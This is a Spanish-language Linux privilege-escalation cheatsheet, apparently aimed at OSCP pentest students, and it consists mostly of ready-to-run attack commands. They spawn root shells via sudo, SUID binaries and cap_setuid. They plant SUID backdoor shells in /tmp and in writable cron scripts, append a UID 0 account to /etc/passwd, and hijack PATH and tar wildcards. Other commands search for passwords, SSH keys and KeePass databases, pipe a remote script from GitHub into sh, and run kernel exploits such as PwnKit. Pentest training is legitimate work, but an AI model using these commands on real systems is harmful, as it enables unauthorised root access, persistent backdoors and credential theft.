Escalada de Privilegios Linux — Cheatsheet 2026

80+ técnicas para pasar de una shell con pocos privilegios a root. Enumeración, sudo, SUID/SGID, capabilities, cron, PATH hijacking, exploits de kernel y herramientas automatizadas — la referencia que los estudiantes OSCP guardan.

Última actualización:

¿Principiante? Lee nuestra guía completa para empezar y sitúa la escalada de privilegios en la metodología global.

Navegación rápida

01 Enumeración 02 Permisos sudo 03 SUID / SGID 04 Capabilities 05 Tareas cron 06 PATH Hijacking 07 Credenciales y archivos 08 NFS Root Squash 09 Exploits de kernel 10 Herramientas automatizadas

# Enumeración inicial

La escalada de privilegios es 90% enumeración. Reúne el contexto antes de tocar cualquier exploit: quién eres, qué puedes ejecutar y cómo es el sistema.

id && whoami && groups
Usuario actual, UID/GID y grupos (busca adm, docker, lxd, disk)
uname -a; cat /etc/os-release
Versión del kernel y distribución — necesario para elegir exploits de kernel
sudo -l
Listar los comandos ejecutables como root — la comprobación más importante
find / -perm -4000 -type f 2>/dev/null
Encontrar todos los binarios SUID — contrastar con GTFOBins
getcap -r / 2>/dev/null
Listar archivos con capabilities definidas
cat /etc/crontab; ls -la /etc/cron.*
Tareas programadas — busca scripts root que puedas escribir
ps aux | grep -i root
Procesos ejecutándose como root — servicios potencialmente explotables
netstat -tulpn 2>/dev/null || ss -tulpn
Servicios internos ligados a localhost — a menudo sin protección

# Explotación de sudo

Tras sudo -l, contrasta cada binario permitido con GTFOBins. Muchas herramientas cotidianas abren una shell root vía sudo.

sudo vim -c ':!/bin/sh'
Shell root vía vim si puedes sudo vim
sudo find . -exec /bin/sh \; -quit
Shell root vía find
sudo awk 'BEGIN {system("/bin/sh")}'
Shell root vía awk
sudo env /bin/sh
Shell root vía env
sudo -u#-1 /bin/bash
CVE-2019-14287 — saltar la restricción sudo «ALL, !root»
💡 Consejo: Comprueba la versión de sudo: sudo --version. Las versiones < 1.9.5p2 son vulnerables a Baron Samedit (CVE-2021-3156), un desbordamiento de heap que da root al instante.

# Binarios SUID / SGID

Un binario SUID se ejecuta con los permisos de su propietario (a menudo root), sin importar quién lo lance. Enumera y explota con la sección «SUID» de GTFOBins.

find / -perm -4000 -type f 2>/dev/null
Todos los binarios SUID
find / -perm -2000 -type f 2>/dev/null
Todos los binarios SGID
./bash -p
Si bash es SUID: -p conserva los privilegios → shell root
find /tmp -exec /bin/sh -p \; -quit
Explotar find SUID conservando la shell privilegiada (-p)
cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash
Si ya eres root: dejar una backdoor shell SUID

# Capabilities de Linux

Las capabilities otorgan porciones del poder de root a binarios concretos. cap_setuid es el premio gordo.

getcap -r / 2>/dev/null
Listar recursivamente los archivos con capabilities
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Si python3 tiene cap_setuid+ep → shell root inmediata
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh";'
Si perl tiene cap_setuid+ep → shell root

# Tareas cron

Los scripts programados propiedad de root que puedes escribir — o que usan comodines explotables — son un camino clásico a root.

cat /etc/crontab; ls -la /etc/cron.d /etc/cron.daily
Listar las tareas cron del sistema y sus scripts
grep -rl "" /etc/cron* 2>/dev/null | xargs ls -la 2>/dev/null
Revisar permisos de cada script cron — ¿alguno escribible por todos?
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /ruta/cron_escribible.sh
Inyectar una backdoor SUID en un script cron root escribible
💡 Inyección de comodín: un cron que ejecuta tar czf backup.tar.gz * en un directorio escribible puede secuestrarse creando archivos con nombres de opciones tar (ej. --checkpoint-action=exec=sh rootshell.sh).

# PATH Hijacking

Cuando un programa privilegiado llama a un comando sin ruta absoluta, tú controlas qué binario se ejecuta realmente.

strings /ruta/binario_suid | grep -iE 'service|cp|cat|sh|system'
Buscar llamadas de comando relativas dentro de un binario SUID
echo '/bin/bash -p' > /tmp/service; chmod +x /tmp/service
Crear un binario malicioso con el nombre del comando llamado
export PATH=/tmp:$PATH; /ruta/binario_suid
Anteponer tu directorio al PATH y disparar el binario → tu código corre como root

# Credenciales y archivos sensibles

Contraseñas hardcodeadas, claves privadas y un /etc/passwd escribible aparecen en más máquinas de las que crees.

grep -rniE 'password|passwd|secret|api_key' /var/www /home /opt 2>/dev/null
Buscar credenciales hardcodeadas en configs y código fuente
find / -name id_rsa 2>/dev/null; find / -name '*.kdbx' 2>/dev/null
Localizar claves SSH privadas y bases KeePass
ls -l /etc/passwd
Si /etc/passwd es escribible → añadir un usuario root
openssl passwd -1 -salt x hacked
Generar un hash de contraseña para inyectar en /etc/passwd
echo 'root2:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd; su root2
Añadir un usuario UID 0 con contraseña conocida y cambiar a él
cat ~/.bash_history; sudo cat /var/mail/root 2>/dev/null
Historiales y buzones suelen filtrar secretos

# Mala config NFS Root Squash

Un recurso NFS exportado con no_root_squash te permite escribir archivos como root desde una máquina que controlas.

cat /etc/exports; showmount -e OBJETIVO
Listar los exports NFS — buscar no_root_squash
mount -o rw OBJETIVO:/share /mnt/nfs
Montar el recurso vulnerable desde tu máquina atacante (como root)
cp /bin/bash /mnt/nfs/rootbash; chmod +s /mnt/nfs/rootbash
Dejar una shell root SUID en el recurso y ejecutarla en el objetivo

# Exploits de kernel (último recurso)

Úsalos solo tras agotar las malas configuraciones — pueden colgar el objetivo. Haz coincidir siempre el kernel exacto de uname -r.

ExploitCVEAfectado
DirtyPipeCVE-2022-0847Kernel 5.8 – 5.16.11
DirtyCowCVE-2016-5195Kernel 2.6.22 – 4.8.3
PwnKit (polkit)CVE-2021-4034La mayoría de distros antes de 2022
Baron SameditCVE-2021-3156sudo < 1.9.5p2
searchsploit linux kernel $(uname -r | cut -d- -f1)
Encontrar exploits públicos para el kernel en ejecución
./PwnKit
PwnKit (CVE-2021-4034) — root local casi universal en sistemas sin parchear

# Herramientas de enumeración automatizadas

Automatiza lo tedioso — pero entiende cada hallazgo. En el examen OSCP las herramientas automatizadas están limitadas: la habilidad manual importa.

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
LinPEAS — enumeración privesc coloreada (ejecución en memoria, sin escribir en disco)
./linenum.sh -t
LinEnum — script de enumeración clásico y exhaustivo
./pspy64
pspy — observar procesos y cron en tiempo real sin ser root
python3 linux-exploit-suggester.py
Sugerir exploits de kernel según la versión en ejecución

❓ FAQ escalada de privilegios Linux

Por la enumeración. Empieza con id, sudo -l, uname -a y la búsqueda SUID (find / -perm -4000). LinPEAS ayuda, pero la enumeración manual es esencial para el examen OSCP.

Ejecuta sudo -l y contrasta cada binario permitido con GTFOBins. Muchos (vim, find, awk, python) abren una shell root vía sudo. Revisa también la versión por CVE-2021-3156.

Un binario SUID se ejecuta con los permisos de su propietario (a menudo root). Encuéntralos con find / -perm -4000 2>/dev/null y consulta GTFOBins para el método de explotación SUID del binario.

Dividen el poder de root en unidades finas. Lístalas con getcap -r / 2>/dev/null. Las peligrosas como cap_setuid en python o perl permiten convertirse en root directamente.

Revisa /etc/crontab por scripts root. Si un script programado es escribible, o usa una ruta relativa o comodín que controlas, puedes inyectar comandos que se ejecutan como root.

Si un binario SUID o script cron llama a un comando sin ruta absoluta, coloca un binario malicioso con ese nombre antes en $PATH. Cuando root ejecuta el programa, tu binario corre como root.

Solo como último recurso — pueden colgar el objetivo. Agota primero las rutas de mala configuración (sudo, SUID, cron), y haz coincidir el kernel exacto de uname -a antes de compilar.

LinPEAS es un script de enumeración automatizada que resalta los vectores privesc coloreados por probabilidad. Ejecuta ./linpeas.sh y revisa los hallazgos rojos/amarillos. Complementa —no reemplaza— la enumeración manual.

📚 Recursos relacionados

Informe de pentest asistido por IA

Convierte tus hallazgos privesc en un informe PDF profesional. La IA rellena CVE, CVSS y severidad.

Probar gratis →

¿Quieres los 12 020+ comandos?

Esta cheatsheet privesc es solo una rama del mapa. Pentest Mindmap organiza 12 020+ comandos en 34 categorías — de recon a post-explotación — con búsqueda instantánea y copia en un clic.

Empezar gratis →